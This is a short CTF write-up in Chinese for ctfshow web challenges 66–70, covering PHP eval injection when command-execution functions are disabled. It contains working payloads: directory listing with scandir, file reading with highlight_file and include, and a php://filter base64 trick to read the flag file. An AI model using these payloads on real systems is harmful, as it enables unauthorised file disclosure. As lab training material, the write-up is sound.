ctfshow(66-＞70)--RCE/命令执行漏洞--禁用命令执行函数

Web66

源代码：

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

代码审计：

POST传参c，eval进行代码执行。

思路：

由于题目过滤了命令执行函数，所以使用其他方法进行RCE。

先使用c=var_dump(scandir("."))查看当前目录下的文件，发现了flag.php
highlight_file('flag.php')查看发现没有flag.

于是使用c=var_dump(scandir("/"))查看根目录，发现flag.txt

EXP:

c=highlight_file('/flag.php');

得到flag.

Web67

与上一题做法相同。

Web68

进入界面，回显为一个报错:

代码审计：

说明highlight_file()函数被禁用了。

思路：

用php伪协议查看文件内容。

EXP：

c=include($_POST[1]);&1=php://filter/convert.base64-encode/resource=/flag.txt

base64解码得到flag.

Web69

回显与上一题相同。

思路

查看目录下的文件：

c=var_dump(scandir("/"));
c=print_r(scandir("/"));

发现两个打印函数都被过滤了。

替换为var_export或implode即可。

EXP:

查看目录：

c=var_export(scandir("/"));
c=echo implode("--",scandir("/"));

读取文件内容：

c=include("/flag.txt");

Web 70

与上一题做法相同。